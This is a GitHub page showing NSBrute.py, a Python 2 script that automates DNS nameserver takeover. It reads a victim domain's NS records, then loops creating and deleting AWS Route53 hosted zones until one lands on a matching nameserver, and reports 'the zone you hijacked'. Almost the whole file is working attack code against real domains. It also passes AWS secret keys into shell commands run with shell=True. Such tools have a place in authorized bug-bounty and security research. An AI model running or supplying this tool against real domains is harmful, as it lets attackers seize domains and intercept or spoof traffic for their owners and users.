-
Notifications
You must be signed in to change notification settings - Fork 27
/
NSBrute.py
201 lines (174 loc) · 5.95 KB
/
NSBrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
import route53
import sys
import time
import traceback
import dns.resolver
import subprocess
import json
import ast
accessKey=""
secretKey=""
victimDomain=""
targetNS=[]
nsRecord=0
class bcolors:
TITLE = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
INFO = '\033[93m'
OKRED = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
BGRED = '\033[41m'
UNDERLINE = '\033[4m'
FGWHITE = '\033[37m'
FAIL = '\033[95m'
def myPrint(text, type):
if(type=="INFO"):
print bcolors.INFO+text+bcolors.ENDC+"\n"
return
if(type=="INFO_WS"):
print bcolors.INFO+text+bcolors.ENDC
return
if(type=="ERROR"):
print bcolors.BGRED+bcolors.FGWHITE+bcolors.BOLD+text+bcolors.ENDC
return
if(type=="MESSAGE"):
print bcolors.TITLE+bcolors.BOLD+text+bcolors.ENDC+"\n"
return
if(type=="INSECURE_WS"):
print bcolors.OKRED+bcolors.BOLD+text+bcolors.ENDC
return
if(type=="OUTPUT"):
print bcolors.OKBLUE+bcolors.BOLD+text+bcolors.ENDC+"\n"
return
if(type=="OUTPUT_WS"):
print bcolors.OKBLUE+bcolors.BOLD+text+bcolors.ENDC
return
if(type=="SECURE"):
print bcolors.OKGREEN+bcolors.BOLD+text+bcolors.ENDC
#python NSBrute.py -d domain -a accessKey -s secretKey -ns a,b,c,d -f
zones_to_keep = []
forceDelete = False
if (len(sys.argv)<7):
myPrint("Please provide the required arguments to initiate scanning.", "ERROR")
print ""
myPrint("Usage: python NSTakeover.py -d domain -a accessKey -s secretKey","ERROR")
myPrint("Please try again!!", "ERROR")
print ""
exit(1);
if (sys.argv[1]=="-d" or sys.argv[1]=="--domain"):
victimDomain=sys.argv[2]
if (sys.argv[3]=="-a" or sys.argv[3]=="--accessId"):
accessKey=sys.argv[4]
if (sys.argv[5]=="-s" or sys.argv[5]=="--secretKey"):
secretKey=sys.argv[6]
if len(sys.argv) >= 8:
if (sys.argv[7]=="-f" or sys.argv[7]=="--forceDelete"):
forceDelete = True
try:
nsRecords = dns.resolver.query(victimDomain, 'NS')
except:
myPrint("Unable to fetch NS records for "+victimDomain+"\nPlease check the domain name and try again.","ERROR")
exit(1)
isInt= isinstance(nsRecords,int)
if isInt and nsRecords==0:
myPrint("No NS records found for "+victimDomain+"\nPlease check the domain name and try again.","ERROR")
exit(1)
for nameserver in nsRecords:
targetNS.append(str(nameserver))
#strip leading and trailing spaces
for index in range(len(targetNS)):
targetNS[index]=targetNS[index].strip()
#strip trailing .
targetNS[index]=targetNS[index].strip(".")
conn = route53.connect(
aws_access_key_id=accessKey,
aws_secret_access_key=secretKey,
)
created_zones = []
successful_zone = []
counter=0
try:
while True:
counter=counter+1
myPrint("Iteration Count: "+str(counter),"INFO_WS")
try:
new_zone=0
new_zone, change_info = conn.create_hosted_zone(
# in honor of bagipro, we love your reports, we hope you never stop researching and participating in bug bounty
victimDomain, comment='zaheck'
)
hosted_zone_id = new_zone.__dict__["id"]
created_zones.append(hosted_zone_id)
#Erroneous Condition
if new_zone is None:
continue
nsAWS=new_zone.nameservers
myPrint("Created a new zone with following NS: ","INFO_WS")
myPrint(" ".join(nsAWS),"INFO_WS")
intersection=set(nsAWS).intersection(set(targetNS))
if(len(intersection)==0):
myPrint("No common NS found, deleting new zone","ERROR")
print ""
new_zone.delete()
else:
myPrint("Successful attempt after "+str(counter)+" iterations.","SECURE")
myPrint("Check your AWS account, the work is done!","SECURE")
print "This is the hijacked Zone ID: " + str(hosted_zone_id)
hijacked_zone = next(iter(intersection))
print "This is the zone you hijacked: " + str(hijacked_zone)
successful_zone.append(hosted_zone_id)
created_zones.remove(hosted_zone_id)
print ""
break
except Exception as e:
myPrint("Exceptional behaviour observed while creating the zone.", "ERROR")
myPrint("Trying Again!","ERROR")
if new_zone != 0:
new_zone.delete()
continue
except KeyboardInterrupt:
if forceDelete and len(created_zones) != 0:
command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 list-hosted-zones"
out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
stdout,stderr = out.communicate()
json_data = None
if stdout != 'false':
json_data = json.loads(stdout)
zones_to_be_removed = []
zones_for_account = []
for zone in json_data["HostedZones"]:
zones_for_account.append(str(zone["Id"].replace("/hostedzone/","")))
if len(successful_zone) != 0:
if successful_zone[0] in created_zones:
created_zones.remove(successful_zone[0])
for zone in created_zones:
if zone in zones_for_account:
zones_to_be_removed.append(zone)
for zone in zones_to_be_removed:
command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 delete-hosted-zone --id " + str(zone)
out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
stdout,stderr = out.communicate()
else:
exit()
command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 list-hosted-zones"
out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
stdout,stderr = out.communicate()
json_data = None
if stdout != 'false':
json_data = json.loads(stdout)
zones_to_be_removed = []
zones_for_account = []
for zone in json_data["HostedZones"]:
zones_for_account.append(str(zone["Id"].replace("/hostedzone/","")))
if len(successful_zone) != 0:
if successful_zone[0] in created_zones:
created_zones.remove(successful_zone[0])
for zone in created_zones:
if zone in zones_for_account:
zones_to_be_removed.append(zone)
for zone in zones_to_be_removed:
command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 delete-hosted-zone --id " + str(zone)
out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
stdout,stderr = out.communicate()